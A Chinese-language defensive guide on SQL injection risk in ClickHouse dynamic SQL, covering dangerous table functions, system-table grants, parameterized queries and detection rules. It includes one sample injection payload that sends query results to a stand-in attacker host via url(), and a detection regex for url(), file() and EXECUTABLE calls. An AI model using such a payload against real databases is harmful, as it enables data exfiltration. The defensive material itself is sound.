clickhouse动态sql特别危险,因其url()、file()、executable()等高危函数默认开启且无权限开关,system表全局可读,union all类型校验宽松,易被注入后直接执行外部请求或文件操作。

动态SQL在ClickHouse中为什么特别危险
ClickHouse的动态SQL风险不是“可能被注入”,而是“一旦拼接就大概率失控”。它不像MySQL那样受限于存储过程权限边界,url()、file()、executable() 这类表函数默认开启且无显式权限开关;system 表对所有已认证用户可读;UNION ALL 语法不强制要求类型对齐,导致绕过基础检测更简单。你前端传一个 WHERE event_type = '${userInput}',攻击者填入 'a' OR 1=1 UNION ALL SELECT * FROM url('http://attacker.com/leak', 'JSONEachRow'),ClickHouse会照常执行——它只校验语法,不校验意图。
必须禁用的高危功能组合
不是“建议关闭”,是生产环境上线前必须确认已禁用:
-
url()、file()、executable()函数:在/etc/clickhouse-server/users.xml的<profile></profile>段落中显式设置<allow_url_access>0</allow_url_access>、<allow_file_access>0</allow_file_access>、<allow_executable>0</allow_executable> -
system表全局读权限:为业务用户创建专用角色,仅GRANT SELECT ON system.processes, system.metrics等必要视图,严禁GRANT SELECT ON system.* - 明文密码传输:禁用
plaintext_password认证方式,强制使用sha256_hash或double_sha1_hash,并在config.xml中启用<enable_http_compression>1</enable_http_compression>防止中间人截获哈希值重放
参数化查询在ClickHouse里怎么写才真正安全
ClickHouse原生不支持传统 JDBC 风格的 ? 占位符,但提供两种等效机制,必须选其一并严格执行:
- HTTP 接口用
data+query分离:POST 请求体只传参数 JSON,SQL 模板中用{param:UInt32}占位,服务端用clickhouse-client --param_param=123执行。注意:占位符类型必须显式声明,{id}不合法,{id:UInt64}才有效 - Native 协议用
clickhouse-client的--param:命令行中不能拼接字符串,必须拆成clickhouse-client --param_date="2024-01-01" --param_user_id=1001 -q "SELECT * FROM events WHERE dt = {date:String} AND uid = {user_id:UInt64}" - 禁止任何场景下使用字符串格式化拼接 SQL:Python 的
f"SELECT ... WHERE id = {user_input}"、Node.js 的模板字符串、Java 的String.format全部等同于开门揖盗
SQL防御规则要盯住哪些硬指标
MRS 或自建 ClickHouse 集群的 SQL 防御规则,不能只拦 SELECT ... FROM system.,要卡死三个真实攻击杠杆点:
- 单次查询扫描行数:设置阈值如
max_rows_to_read = 10000000,防止CROSS JOIN或全表扫引发拒绝服务 - 外部调用行为:正则匹配
FROM\s+url\(|FROM\s+file\(|EXECUTABLE,命中即熔断,不给解释机会 - 敏感元数据访问频次:对
system.tables、system.columns的查询,1分钟内超3次自动标记为可疑会话并冻结该用户连接
这些规则生效后不会改变你的 SQL 写法,但会把“能跑通”和“能上线”彻底分开——很多看似合理的动态查询,在防御规则下第一次压测就会被拦截,这才是设计阶段该暴露的问题。











